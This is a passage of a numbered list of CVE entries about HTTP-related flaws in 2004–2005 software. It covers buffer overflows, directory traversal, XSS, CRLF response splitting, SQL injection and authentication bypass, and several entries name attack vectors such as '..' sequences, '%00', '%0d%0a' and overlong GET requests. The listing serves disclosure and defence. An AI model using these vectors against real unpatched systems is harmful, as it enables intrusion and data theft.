13264| [CVE-2005-0684] Multiple buffer overflows in the web tool for MySQL MaxDB before 7.5.00.26 allows remote attackers to execute arbitrary code via (1) an HTTP GET request with a long file parameter after a percent ("%") sign or (2) a long Lock-Token string to the WebDAV functionality, which is not properly handled by the getLockTokenHeader function in WDVHandler_CommonUtils.c.
13265| [CVE-2005-0674] Cross-site scripting (XSS) vulnerability in the News module for paBox 1.6 allows remote attackers to inject arbitrary web script or HTML via the text hidden parameter in an HTTP POST request.
13266| [CVE-2005-0668] Unknown vulnerability in HTTP Anti Virus Proxy (HAVP) before 0.51 prevents viruses from being properly detected in certain files such as (1) .CAB or (2) .ZIP files.
13267| [CVE-2005-0657] Directory traversal vulnerability in Computalynx CProxy 3.3.x and 3.4.x through 3.4.4 allows remote attackers to read arbitrary files or cause a denial of service (application crash) via a .. (dot dot) in an HTTP request.
13268| [CVE-2005-0655] auraCMS 1.5 allows remote attackers to obtain sensitive information via an HTTP request with an invalid id parameter to (1) teman.php, (2) hal.php, or (3) arsip.php, which reveals the path in a PHP error message.
13269| [CVE-2005-0645] Cross-site scripting (XSS) vulnerability in show.inc.php in cuteNews 1.3.6 allows remote attackers to inject arbitrary HTML, web script, and PHP code via the (1) CLIENT-IP or (2) X-FORWARDED-FOR header in an HTTP POST request to show_news.php.
13270| [CVE-2005-0623] Buffer overflow in RaidenHTTPD 1.1.32, and possibly other versions before 1.1.34, allows remote attackers to execute arbitrary code via a long URL.
13271| [CVE-2005-0622] RaidenHTTPD 1.1.32, and possibly other versions before 1.1.34, allows remote attackers to view the PHP source code via an HTTP GET request for a filename with a trailing (1) . (dot) or (2) space.
13272| [CVE-2005-0593] Firefox before 1.0.1 and Mozilla before 1.7.6 allows remote attackers to spoof the SSL "secure site" lock icon via (1) a web site that does not finish loading, which shows the lock of the previous site, (2) a non-HTTP server that uses SSL, which causes the lock to be displayed when the SSL handshake is completed, or (3) a URL that generates an HTTP 204 error, which updates the icon and location information but does not change the display of the original site.
13273| [CVE-2005-0584] Firefox before 1.0.1 and Mozilla before 1.7.6, when displaying the HTTP Authentication dialog, do not change the focus to the tab that generated the prompt, which could facilitate spoofing and phishing attacks.
13274| [CVE-2005-0575] Buffer overflow in Stormy Studios Knet 1.04c and earlier allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long HTTP GET request.
13275| [CVE-2005-0507] Directory traversal vulnerability in SD Server 4.0.70 and earlier allows remote attackers to read arbitrary files via .. sequences in an HTTP request.
13276| [CVE-2005-0502] Directory traversal vulnerability in Xinkaa 1.0.3 and earlier allows remote attackers to read arbitrary files via (1) ../ and (2) ..\ characters in an HTTP request.
13277| [CVE-2005-0494] The RgSecurity form in the HTTP server for the Thomson TCW690 cable modem running firmware 2.1 and software ST42.03.0a does not properly validate the password before performing changes, which allows remote attackers on the LAN to gain access via a direct POST request.
13278| [CVE-2005-0490] Multiple stack-based buffer overflows in libcURL and cURL 7.12.1, and possibly other versions, allow remote malicious web servers to execute arbitrary code via base64 encoded replies that exceed the intended buffer lengths when decoded, which is not properly handled by (1) the Curl_input_ntlm function in http_ntlm.c during NTLM authentication or (2) the Curl_krb_kauth and krb4_auth functions in krb4.c during Kerberos authentication.
13279| [CVE-2005-0478] Multiple buffer overflows in TrackerCam 5.12 and earlier allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) an HTTP request with a long User-Agent header or (2) a long argument to an arbitrary PHP script.
13280| [CVE-2005-0453] The buffer_urldecode function in Lighttpd 1.3.7 and earlier does not properly handle control characters, which allows remote attackers to obtain the source code for CGI and FastCGI scripts via a URL with a %00 (null) character after the file extension.
13281| [CVE-2005-0451] Sami HTTP Server 1.0.5 allows remote attackers to cause a denial of service via an HTTP request containing two CRLF sequences, which triggers a NULL dereference.
13282| [CVE-2005-0450] Directory traversal vulnerability in Sami HTTP Server 1.0.5 allows remote attackers to read arbitrary files via an HTTP request containing (1) .. (dot dot) or (2) "%2e%2e" (encoded dot dot) sequences.
13283| [CVE-2005-0390] Buffer overflow in the HTTP redirection capability in conn.c for Axel before 1.0b may allow remote attackers to execute arbitrary code.
13284| [CVE-2005-0375] imageview.php in SGallery 1.01 allows remote attackers to obtain sensitive information via an HTTP request with (1) idalbum and (2) idimage unset, which reveals the installation path in an error message for the sql_fetch_row function.
13285| [CVE-2005-0341] Apple Safari 1.2.4 does not obey the Content-type field in the HTTP header and renders text as HTML, which allows remote attackers to inject arbitrary web script or HTML and perform cross-site scripting (XSS) attacks.
13286| [CVE-2005-0338] Buffer overflow in Savant Web Server 3.1 allows remote attackers to execute arbitrary code via a long HTTP request.
13287| [CVE-2005-0334] Linksys PSUS4 running firmware 6032 allows remote attackers to cause a denial of service (device crash) via an HTTP POST request containing an unknown parameter without a value.
13288| [CVE-2005-0324] Infinite Mobile Delivery Webmail 2.6 allows remote attackers to gain sensitive information via an HTTP request that contains invalid characters for a Windows foldername, which reveals the path in an error message.
13289| [CVE-2005-0321] MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 allows remote authenticated users to gain sensitive information via an HTTP request to (1) calendar_d.html, (2) calendar_m.html, (3) calendar_w.html, or (4) calendar_y.html, which reveal the installation path.
13290| [CVE-2005-0310] Exponent 0.95 allows remote attackers to obtain sensitive information via a direct HTTP request to (1) search.info.php, (2) permissions.info.php, (3) security.info.php, (4) formcontrol.php, or (5) file_modules.php, which reveals the path in an error message because the pathos_core_version variable is undefined.
13291| [CVE-2005-0306] MercuryBoard 1.1.1 allows remote attackers to gain sensitive information via an HTTP request with the n parameter set to 0, which causes a divide-by-zero error and reveals the path in the resulting error message.
13292| [CVE-2005-0302] SQL injection vulnerability in default.asp in BackOffice Lite 6.0 and 6.01 allows remote attackers to execute arbitrary SQL commands via the referer field in the HTTP header.
13293| [CVE-2005-0294] minis.php in Minis 0.2.1 allows remote attackers to cause a denial of service (infinite loop) via an HTTP request for a file that the web server does not have permission to read, as demonstrated using the month parameter.
13294| [CVE-2005-0286] eMotion MediaPartner Web Server 5.0 and 5.1 allows remote attackers to obtain sensitive information via an HTTP request for a .bhtml file that contains a (1) . (dot) or (2) + (plus sign) at the end, which returns the source code for that file.
13295| [CVE-2005-0241] The httpProcessReplyHeader function in http.c for Squid 2.5-STABLE7 and earlier does not properly set the debug context when it is handling "oversized" HTTP reply headers, which might allow remote attackers to poison the cache or bypass access controls based on header size.
13296| [CVE-2005-0175] Squid 2.5 up to 2.5.STABLE7 allows remote attackers to poison the cache via an HTTP response splitting attack.
13297| [CVE-2005-0174] Squid 2.5 up to 2.5.STABLE7 allows remote attackers to poison the cache or conduct certain attacks via headers that do not follow the HTTP specification, including (1) multiple Content-Length headers, (2) carriage return (CR) characters that are not part of a CRLF pair, and (3) header names containing whitespace characters.
13298| [CVE-2005-0081] MySQL MaxDB 7.5.0.0, and other versions before 7.5.0.21, allows remote attackers to cause a denial of service (crash) via an HTTP request with invalid headers.
13299| [CVE-2005-0049] Windows SharePoint Services and SharePoint Team Services for Windows Server 2003 does not properly validate an HTTP redirection query, which allows remote attackers to inject arbitrary HTML and web script via a cross-site scripting (XSS) attack, or to spoof the web cache.
13300| [CVE-2004-2763] The default configuration of Sun ONE/iPlanet Web Server 4.1 SP1 through SP12 and 6.0 SP1 through SP5 responds to the HTTP TRACE request, which can allow remote attackers to steal information using cross-site tracing (XST) attacks in applications that are vulnerable to cross-site scripting.
13301| [CVE-2004-2762] The server in IBM Tivoli Storage Manager (TSM) 4.2.x on MVS, 5.1.9.x before 5.1.9.1, 5.1.x before 5.1.10, 5.2.2.x before 5.2.2.3, 5.2.x before 5.2.3, 5.3.x before 5.3.0, and 6.x before 6.1, when the HTTP communication method is enabled, allows remote attackers to cause a denial of service (daemon crash or hang) via unspecified HTTP traffic, as demonstrated by the IBM port scanner 1.3.1.
13302| [CVE-2004-2727] Buffer overflow in MEHTTPS (HTTPMail) of MailEnable Professional 1.5 through 1.7 allows remote attackers to cause a denial of service (application crash) via a long HTTP GET request.
13303| [CVE-2004-2726] HTTPMail service in MailEnable Professional 1.18 does not properly handle arguments to the Authorization header, which allows remote attackers to cause a denial of service (null dereference and application crash). NOTE: This is a different vulnerability than CVE-2005-1348.
13304| [CVE-2004-2707] Multiple unspecified vulnerabilities in Gyach Enhanced (Gyach-E) before 1.0.5 have unknown impact and attack vectors related to "several security flaws," probably related to buffer overflows in HTTP server responses.
13305| [CVE-2004-2628] Multiple directory traversal vulnerabilities in thttpd 2.07 beta 0.4, when running on Windows, allow remote attackers to read arbitrary files via a URL that contains (1) a hex-encoded backslash dot-dot sequence ("%5C..") or (2) a drive letter (such as "C:").
13306| [CVE-2004-2614] Buffer overflow in MyWeb 3.3 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
13307| [CVE-2004-2589] Gaim before 0.82 allows remote servers to cause a denial of service (application crash) via a long HTTP Content-Length header, which causes Gaim to abort when attempting to allocate memory.
13308| [CVE-2004-2582] Novell iChain 2.3 includes the build number in the VIA line of the proxy server's HTTP headers, which allows remote attackers to obtain sensitive information.
13309| [CVE-2004-2549] Nortel Wireless LAN (WLAN) Access Point (AP) 2220, 2221, and 2225 allow remote attackers to cause a denial of service (service crash) via a TCP request with a large string, followed by 8 newline characters, to (1) the Telnet service on TCP port 23 and (2) the HTTP service on TCP port 80, possibly due to a buffer overflow.
13310| [CVE-2004-2547] NetWin (1) SurgeMail before 2.0c and (2) WebMail allow remote attackers to obtain sensitive information via HTTP requests that (a) specify the / URI, (b) specify the /scripts/ URI, or (c) specify a non-existent file, which reveal the path in an error message.
13311| [CVE-2004-2534] Fastream NETFile Server 7.1.2 does not properly handle keep-alive connection timeouts and does not close the connection after a HEAD request, which allows remote attackers to perform a denial of service (connection consumption) by sending a large number HTTP HEAD requests.
13312| [CVE-2004-2517] myServer 0.7.1 allows remote attackers to cause a denial of service (crash) via a long HTTP POST request in a View=Logon operation to index.html.
13313| [CVE-2004-2516] Directory traversal vulnerability in myServer 0.7 allows remote attackers to list arbitrary directories via an HTTP GET command with a large number of "./" sequences followed by "../" sequences.
13314| [CVE-2004-2512] CRLF injection vulnerability in calendar.php in DCP-Portal 5.3.2 and earlier allows remote attackers to conduct HTTP response splitting attacks to spoof web content and poison web caches via CRLF ("%0d%0a") sequences in the PHPSESSID parameter.
13315| [CVE-2004-2506] Unparsed web content delivery vulnerability in WIKINDX before 0.9.9g allows remote attackers to obtain sensitive information via a direct HTTP request to the config.inc file.
13316| [CVE-2004-2496] The HTTP daemon in OpenText FirstClass 7.1 and 8.0 allows remote attackers to cause a denial of service (service availability loss) via a large number of POST requests to /Search.
13317| [CVE-2004-2478] Unspecified vulnerability in Jetty HTTP Server, as used in (1) IBM Trading Partner Interchange before 4.2.4, (2) CA Unicenter Web Services Distributed Management (WSDM) before 3.11, and possibly other products, allows remote attackers to read arbitrary files via a .. (dot dot) in the URL.
13318| [CVE-2004-2443] Jaws 0.3 allows remote attackers to bypass authentication and via an HTTP request to admin.php with the logged cookie set to the MD5 hash of a null password, which is compared against the logged session variable by the logged_on function in application.php.
13319| [CVE-2004-2426] Directory traversal vulnerability in Axis Network Camera 2.40 and earlier, and Video Server 3.12 and earlier, allows remote attackers to bypass authentication via a .. (dot dot) in an HTTP POST request to ServerManager.srv, then use these privileges to conduct other activities, such as modifying files using editcgi.cgi.
13320| [CVE-2004-2424] BEA WebLogic Server and WebLogic Express 8.1 through 8.1 SP2 allow remote attackers to cause a denial of service (network port comsumption) via unknown actions in HTTPS sessions, which prevents the server from releasing the network port when the session ends.
13321| [CVE-2004-2416] Buffer overflow in the logging component of CCProxy allows remote attackers to execute arbitrary code via a long HTTP GET request.
13322| [CVE-2004-2385] EMU Webmail 5.2.7 allows remote attackers to obtain sensitive path information (home directory) via an HTTP request for init.emu.
13323| [CVE-2004-2381] HttpRequest.java in Jetty HTTP Server before 4.2.19 allows remote attackers to cause denial of service (memory usage and application crash) via HTTP requests with a large Content-Length.
13324| [CVE-2004-2343] ** DISPUTED ** Apache HTTP Server 2.0.47 and earlier allows local users to bypass .htaccess file restrictions, as specified in httpd.conf with directives such as Deny From All, by using an ErrorDocument directive. NOTE: the vendor has disputed this issue, since the .htaccess mechanism is only intended to restrict external web access, and a local user already has the privileges to perform the same operations without using ErrorDocument.
13325| [CVE-2004-2330] ColdFusion MX 6.1 and 6.1 J2EE allows remote attackers to cause a denial of service via an HTTP request containing a large number of form fields.
13326| [CVE-2004-2327] Vizer Web Server 1.9.1 allows remote attackers to cause a denial of service (crash) via multiple malformed requests including (1) requests without GET, (2) GET requests without HTTP, (3) or long GET requests.
13327| [CVE-2004-2320] The default configuration of BEA WebLogic Server and Express 8.1 SP2 and earlier, 7.0 SP4 and earlier, 6.1 through SP6, and 5.1 through SP13 responds to the HTTP TRACE request, which can allow remote attackers to steal information using cross-site tracing (XST) attacks in applications that are vulnerable to cross-site scripting.
13328| [CVE-2004-2317] Information leak in Mbedthis AppWeb HTTP server 1.0 through 1.1.2 allows remote attackers to obtain sensitive information via a user message that is generated when Mbedthis denies access.
13329| [CVE-2004-2316] Mbedthis AppWeb HTTP server before 1.0.2 allows remote attackers to cause a denial of service (crash) via a GET request containing an MS-DOS device name such as COM1.
13330| [CVE-2004-2315] Mbedthis AppWeb HTTP server before 1.0.2 allows remote attackers to cause a denial of service (crash) via an empty OPTIONS request.
13331| [CVE-2004-2299] Buffer overflow in Omnicron OmniHTTPd 3.0a and earlier allows remote attackers to execute arbitrary code via an HTTP GET request with a long Range header.
13332| [CVE-2004-2271] Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
13333| [CVE-2004-2224] Appfoundry Message Foundry 2.75 .0003 allows remote attackers to cause a denial of service (crash) via an HTTP GET request that contains MS-DOS device names such as com1.
13334| [CVE-2004-2221] Buffer overflow in SoftCart.exe in Mercantec SoftCart 4.00b allows remote attackers to execute arbitrary code via a long parameter in an HTTP GET request.
13335| [CVE-2004-2217] Multiple unknown vulnerabilities in yhttpd in yChat before 0.7 allow remote attackers to cause a denial of service (segmentation fault) via unknown vectors.
13336| [CVE-2004-2214] Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to bypass access restrictions via a URI with mixed case characters.
13337| [CVE-2004-2213] Mbedthis AppWeb HTTP server before 1.1.3 allows remote attackers to obtain the source code for scripts via a (1) trailing dot (".") or (2) trailing space in an HTTP request.
13338| [CVE-2004-2210] Multiple cross-site scripting (XSS) vulnerabilities in Express-Web Content Management System (CMS) allow remote attackers to steal cookie-based authentication information and possibly perform other exploits via the (1) n, (2) b, (3) e, or (4) a parameters to default.asp, (5) the Referer header in an HTTP request to login.asp, or (6) the email parameter to subscribe/default.asp.
13339| [CVE-2004-2208] CRLF injection vulnerability in Ideal Science IdealBB 1.4.9 through 1.5.3 allows remote attackers to conduct HTTP response splitting attacks via unknown vectors.
13340| [CVE-2004-2146] CRLF injection vulnerability in PD9 Software MegaBBS 2 and 2.1 allows attackers to conduct HTTP response splitting attacks via the fid parameter in a writenew action to thread-post.asp.
13341| [CVE-2004-2129] SurfNOW 2.2 allows remote attackers to cause a denial of service (crash) via a series of long HTTP GET requests, possibly triggering a buffer overflow.
13342| [CVE-2004-2124] The register_globals simulation capability in Gallery 1.3.1 through 1.4.1 allows remote attackers to modify the HTTP_POST_VARS variable and conduct a PHP remote file inclusion attack via the GALLERY_BASEDIR parameter, a different vulnerability than CVE-2002-1412.
13343| [CVE-2004-2120] Reptile Web Server allows remote attackers to cause a denial of service (CPU consumption) via multiple incomplete GET requests without the HTTP version.
13344| [CVE-2004-2117] Tiny Server 1.1 allows remote attackers to cause a denial of service (crash) via malformed HTTP requests such as (1) a GET request without the HTTP version (HTTP/1.1), or (2) a request without GET or the HTTP version.
13345| [CVE-2004-2115] Multiple cross-site scripting (XSS) vulnerabilities in Oracle HTTP Server 1.3.22, based on Apache, allow remote attackers to execute arbitrary script as other users via the (1) action, (2) username, or (3) password parameters in an isqlplus request.
13346| [CVE-2004-2107] Finjan SurfinGate 6.0 and 7.0, when running in proxy mode, does not authenticate FHTTP commands on TCP port 3141, which allows remote attackers to use the finjan-parameter-type header to (1) restart the service, (2) use the getlastmsg command to view log information, or (3) use the online command to force a policy update from the database server.
13347| [CVE-2004-2102] Cross-site scripting (XSS) vulnerability in FREESCO 2.05, a modified version of thttpd, allows remote attackers to inject arbitrary web script or HTML via the test parameter.
13348| [CVE-2004-2101] The sysinfo script in GeoHttpServer allows remote attackers to cause a denial of service (crash) via a long pwd parameter, possibly triggering a buffer overflow.
13349| [CVE-2004-2100] GeoHttpServer, when configured to authenticate users, allows remote attackers to bypass authentication and access unauthorized files via a URL that contains %0a%0a (encoded newlines).
13350| [CVE-2004-2096] Cross-site scripting (XSS) vulnerability in Mephistoles httpd 0.6.0 final allows remote attackers to execute arbitrary script as other users by injecting arbitrary HTML or script into the URL.
13351| [CVE-2004-2086] Stack-based buffer overflow in results.stm for Sambar Server before the 6.0 production release allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP POST request with a long query parameter.
13352| [CVE-2004-2071] Macallan Mail Solution 2.8.4.6 (Build 260), and possibly earlier versions, allows remote attackers to bypass authentication in the web interface via an HTTP GET request with two slashes ("//") after the server name.
13353| [CVE-2004-2061] RiSearch 1.0.01 and RiSearch Pro 3.2.06 allows remote attackers to use the show.pl script as an open proxy, or read arbitrary local files, by setting the url parameter to a (1) http://, (2) ftp://, or (3) file:// URL.
13354| [CVE-2004-2054] CRLF injection vulnerability in PhpBB 2.0.4 and 2.0.9 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via (1) the mode parameter to privmsg.php or (2) the redirect parameter to login.php.
13355| [CVE-2004-2045] The HTTP administration interface on Conceptronic CADSLR1 ADSL router running firmware 3.04n allows remote attackers to cause a denial of service (device reboot) via an HTTP request with a long username.
13356| [CVE-2004-2044] PHP-Nuke 7.3, and other products that use the PHP-Nuke codebase such as the Nuke Cops betaNC PHP-Nuke Bundle, OSCNukeLite 3.1, and OSC2Nuke 7x do not properly use the eregi() PHP function with $_SERVER['PHP_SELF'] to identify the calling script, which allows remote attackers to directly access scripts, obtain path information via a PHP error message, and possibly gain access, as demonstrated using an HTTP request that contains the "admin.php" string.
13357| [CVE-2004-2035] MiniShare 1.3.2 allows remote attackers to cause a denial of service (crash) via a malformed HTTP GET or HEAD request without the proper number of trailing CRLF sequences.
13358| [CVE-2004-2033] Orenosv 0.5.9f allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
13359| [CVE-2004-2029] The Util_DecodeHTTPAuth function in BNBT BitTorrent Tracker Beta 7.5 Release 2 and earlier allows remote attackers to cause a denial of service (crash) via a Basic Authorization HTTP request with a "A==" value.
13360| [CVE-2004-2016] Stack-based buffer overflow in the HTTP server in NetChat 7.3 and earlier allows remote attackers to execute arbitrary code via a long GET request.
13361| [CVE-2004-1991] Directory traversal vulnerability in Aldo's Web Server (aweb) 1.5 allows remote attackers to view arbitrary files via a .. (dot dot) in an HTTP GET request.
13362| [CVE-2004-1984] Coppermine Photo Gallery 1.2.2b and 1.2.0 RC4 allows remote attackers to obtain sensitive information via a direct HTTP request to (1) phpinfo.php, (2) addpic.php, (3) config.php, (4) db_input.php, (5) displayecard.php, (6) ecard.php, (7) crop.inc.php, which reveal the full path in a PHP error message.
13363| [CVE-2004-1973] DiGi Web Server allows remote attackers to cause a denial of service (CPU consumption) via an HTTP GET request that contains a large number of / (slash) characters, which consumes resources when DiGi converts the slashes to \ (backslash) characters.
13364| [CVE-2004-1971] modules.php in PHP-Nuke Video Gallery Module 0.1 Beta 5 allows remote attackers to gain sensitive information via an HTTP request with an invalid (1) catid or (2) clipid parameter, which reveals the full path in an error message.
13365| [CVE-2004-1956] PostNuke 0.7.2.6 allows remote attackers to gain information via a direct HTTP request to files in the (1) includes/blocks directory, (2) pnadodb directory, (3) NS-NewUser module, (4) NS-Your_Account, (5) NS-LostPassword module, or (6) NS-User module which reveals the path to the web server in a PHP error message.
13366| [CVE-2004-1953] phProfession 2.5 allows remote attackers to gain sensitive information via a direct HTTP request to upload.php, which reveals the path in a PHP error message.
13367| [CVE-2004-1950] phpBB 2.0.8a and earlier trusts the IP address that is in the X-Forwarded-For in the HTTP header, which allows remote attackers to spoof IP addresses.
13368| [CVE-2004-1893] Dreamweaver MX, when "Using Driver On Testing Server" or "Using DSN on Testing Server" is selected, uploads the mmhttpdb.asp script to the web site but does not require authentication, which allows remote attackers to obtain sensitive information and possibly execute arbitrary SQL commands via a direct request to mmhttpdb.asp.
13369| [CVE-2004-1887] Ada Image Server (ImgSvr) 0.4 allows remote attackers to view directories or download files via an HTTP request with a trailing %00 (null).
13370| [CVE-2004-1841] SQL injection vulnerability in MS Analysis module 2.0 for PHP-Nuke allows remote attackers to execute arbitrary SQL via the referer field in an HTTP request.
13371| [CVE-2004-1822] Multiple cross-site scripting (XSS) vulnerabilities in Phorum 3.1 through 5.0.3 beta allow remote attackers to inject arbitrary web script or HTML via the (1) HTTP_REFERER parameter to login.php, (2) HTTP_REFERER parameter to register.php, or (3) target parameter to profile.php.
13372| [CVE-2004-1814] Directory traversal vulnerability in VocalTec VGW4/8 Gateway 8.0 allows remote attackers to read protected files via .. (dot dot) sequences in an HTTP request, as demonstrated using home.asp.
13373| [CVE-2004-1813] VocalTec VGW4/8 Gateway 8.0 allows remote attackers to bypass authentication via an HTTP request to home.asp with a trailing slash (/).
13374| [CVE-2004-1811] The SSL HTTP Server in HP Web-enabled Management Software 5.0 through 5.92, with anonymous access enabled, allows remote attackers to compromise the trusted certificates by uploading their own certificates.
13375| [CVE-2004-1804] wMCam server 2.1.348 allows remote attackers to cause a denial of service (no new connections) via multiple malformed HTTP requests without the GET command.
13376| [CVE-2004-1784] Buffer overflow in the web server of Webcam Watchdog 3.63 allows remote attackers to execute arbitrary code via a long HTTP GET request.
13377| [CVE-2004-1749] Attack Mitigator IPS 5500 3.11.008, and possibly other versions, when configured in a one-armed routing configuration, allows remote attackers to cause a denial of service (CPU consumption) via a large number of HTTP requests.
13378| [CVE-2004-1744] Easy File Sharing (EFS) Webserver 1.25 allows remote attackers to cause a denial of service (CPU consumption or crash) via many large HTTP requests.
13379| [CVE-2004-1743] Easy File Sharing (EFS) Webserver 1.25 allows remote attackers to view arbitrary files via an HTTP request for the disk_c virtual folder.
13380| [CVE-2004-1736] Cacti 0.8.5a allows remote attackers to gain sensitive information via an HTTP request to (1) auth.php, (2) auth_login.php, (3) auth_changepassword.php, and possibly other php files, which reveal the installation path in a PHP error message.
13381| [CVE-2004-1729] Cross-site scripting (XSS) vulnerability in Nihuo Web Log Analyzer 1.6 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
13382| [CVE-2004-1727] BadBlue 2.5 allows remote attackers to cause a denial of service (refuse HTTP connections) via a large number of connections from the same IP address.
13383| [CVE-2004-1723] The (1) updateuser.php and (2) forums_prune.php scripts in PHP-Fusion 4.00 allow remote attackers to obtain sensitive information via a direct HTTP request, which reveals the installation path in an error message.
13384| [CVE-2004-1721] The (1) function.php or (2) function.view.php scripts in Merak Mail Server 5.2.7 allow remote attackers to read arbitrary PHP files via a direct HTTP request to port 32000.
13385| [CVE-2004-1720] The (1) address.html and possibly (2) calendar.html pages in Merak Mail Server 5.2.7 allow remote attackers to gain sensitive information via an invalid HTTP request, which reveals the installation path. NOTE: it is unclear whether the calendar.html is an exposure, since the path is leaked in web logs that may only be available to the administrators, who would have access to the path through legitimate means.
13386| [CVE-2004-1706] The U.S. Robotics USR808054 wireless access point allows remote attackers to cause a denial of service (device crash) and possibly execute arbitrary code via an HTTP GET request with a long version string.
13387| [CVE-2004-1687] CRLF injection vulnerability in down.asp for Snitz Forums 2000 3.4.04 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the location parameter.
13388| [CVE-2004-1680] application.cgi in the Pingtel Xpressa handset running firmware 2.1.11.24 allows remote authenticated users to cause a denial of service (VxWorks OS crash) via a long HTTP GET request, possibly triggering a buffer overflow.
13389| [CVE-2004-1672] attachment.html in Merak Mail Server 7.4.5 with Icewarp Web Mail 5.2.7 and possibly other versions allows remote attackers to view other users' attachments by specifying the username and message ID in an HTTP request.
13390| [CVE-2004-1662] YaBB SE 1.5.1 allows remote attackers to obtain sensitive information via a direct HTTP request to Admin.php, which reveals the full path in a PHP error message.
13391| [CVE-2004-1657] Cross-site scripting (XSS) vulnerability in the Activity and Events Viewer for Newtelligence DasBlog allows remote attackers to inject arbitrary web script or HTML via the (1) User Agent or (2) Referrer HTTP headers.
13392| [CVE-2004-1656] CRLF injection vulnerability in Comersus Shopping Cart 5.0991 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the redirecturl parameter.
13393| [CVE-2004-1620] CRLF injection vulnerability in Serendipity before 0.7rc1 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the url parameter in (1) index.php and (2) exit.php, or (3) the HTTP Referer field in comment.php.
13394| [CVE-2004-1609] SalesLogix 6.1 includes usernames, passwords, and other sensitive information in the headers of an HTTP response, which could allow remote attackers to gain access.
13395| [CVE-2004-1606] slxweb.dll in SalesLogix 6.1 allows remote attackers to cause a denial service (application crash) via an invalid HTTP request, which might also leak sensitive information in the ErrorLogMsg cookie.
13396| [CVE-2004-1596] The 3COM Wireless router 3CRADSL72 running Boot Code 1.3d allows remote attackers to gain sensitive information such as passwords and router settings via a direct HTTP request to app_sta.stm.
13397| [CVE-2004-1590] Clientexec allows remote attackers to gain sensitive information via an HTTP request to phpinfo.php, which calls the phpinfo function.
13398| [CVE-2004-1584] CRLF injection vulnerability in wp-login.php in WordPress 1.2 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the text parameter.
13399| [CVE-2004-1579] index.php in CubeCart 2.0.1 allows remote attackers to gain sensitive information via an HTTP request with an invalid cat_id parameter, which reveals the full path in a PHP error message.
13400| [CVE-2004-1578] Cross-site scripting (XSS) vulnerability in index.php in Invision Power Board 2.0.0 allows remote attackers to execute arbitrary web script or HTML via the Referer field in the HTTP header.
13401| [CVE-2004-1572] AJ-Fork 167 does not restrict access to directories such as (1) data, (2) inc, (3) plugins, (4) skins, or (5) tools, which allows remote attackers to list files in those directories via a direct HTTP request.
13402| [CVE-2004-1565] list.php in w-Agora 4.1.6a allows remote attackers to reveal the full path via a crafted HTTP request, possibly involving a malformed id parameter.
13403| [CVE-2004-1564] CRLF injection vulnerability in subscribe_thread.php in w-Agora 4.1.6a allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the thread parameter.
13404| [CVE-2004-1561] Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.
13405| [CVE-2004-1557] MyWebServer 1.0.3 allows remote attackers to bypass authentication, modify configuration, and read arbitrary files via a direct HTTP request to (1) /admin or (2) ServerProperties.html.
13406| [CVE-2004-1550] Motorola Wireless Router WR850G running firmware 4.03 allows remote attackers to bypass authentication, log on as an administrator, and obtain sensitive information by repeatedly making an HTTP request for ver.asp until an administrator logs on.
13407| [CVE-2004-1540] ZyXEL Prestige 623, 650, and 652 HW Routers, and possibly other versions, with HTTP Remote Administration enabled, does not require a password to access rpFWUpload.html, which allows remote attackers to reset the router configuration file.
13408| [CVE-2004-1528] The Event Calendar module 2.13 for PHP-Nuke allows remote attackers to gain sensitive information via an HTTP request to (1) config.php, (2) index.php, or (3) submit.php, which reveal the full path in an error message.
13409| [CVE-2004-1516] CRLF injection vulnerability in index.php in phpWebSite 0.9.3-4 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the block_username parameter in the user module.
13410| [CVE-2004-1514] 04WebServer 1.42 allows remote attackers to cause a denial of service (fail to restart properly) via an HTTP request for an MS-DOS device name such as COM2.
13411| [CVE-2004-1507] CRLF injection vulnerability in login.php in WebCalendar allows remote attackers to inject CRLF sequences via the return_path parameter and perform HTTP Response Splitting attacks to modify expected HTML content from the server.
13412| [CVE-2004-1488] wget 1.8.x and 1.9.x does not filter or quote control characters when displaying HTTP responses to the terminal, which may allow remote malicious web servers to inject terminal escape sequences and execute arbitrary code.
13413| [CVE-2004-1484] Format string vulnerability in the _msg function in error.c in socat 1.4.0.3 and earlier, when used as an HTTP proxy client and run with the -ly option, allows remote attackers or local users to execute arbitrary code via format string specifiers in a syslog message.
13414| [CVE-2004-1478] JRun 4.0 does not properly generate and handle the JSESSIONID, which allows remote attackers to perform a session fixation attack and hijack a user's HTTP session.
13415| [CVE-2004-1470] CRLF injection vulnerability in SnipSnap 0.5.2a, and other versions before 1.0b1, allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server.
13416| [CVE-2004-1444] Directory traversal vulnerability in Roundup 0.6.4 and earlier allows remote attackers to view arbitrary files via .. (dot dot) sequences in an @@ command in an HTTP GET request.
13417| [CVE-2004-1420] Multiple cross-site scripting (XSS) vulnerabilities in header.php in WHM AutoPilot 2.4.6.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) site_title or (2) http_images parameter.
13418| [CVE-2004-1362] The PL/SQL module for the Oracle HTTP Server in Oracle Application Server 10g, when using the WE8ISO8859P1 character set, does not perform character conversions properly, which allows remote attackers to bypass access restrictions for certain procedures via an encoded URL with "%FF" encoded sequences that are improperly converted to "Y" characters.
13419| [CVE-2004-1303] Buffer overflow in the get function in get.c for Yanf 0.4 allows remote malicious web servers to execute arbitrary code via crafted HTTP responses.
13420| [CVE-2004-1229] Cross-site scripting vulnerability in the parser for Gadu-Gadu allows remote attackers to inject arbitrary web script or HTML via (1) http:// or (2) news:// URLs, a different vulnerability than CVE-2004-1410.
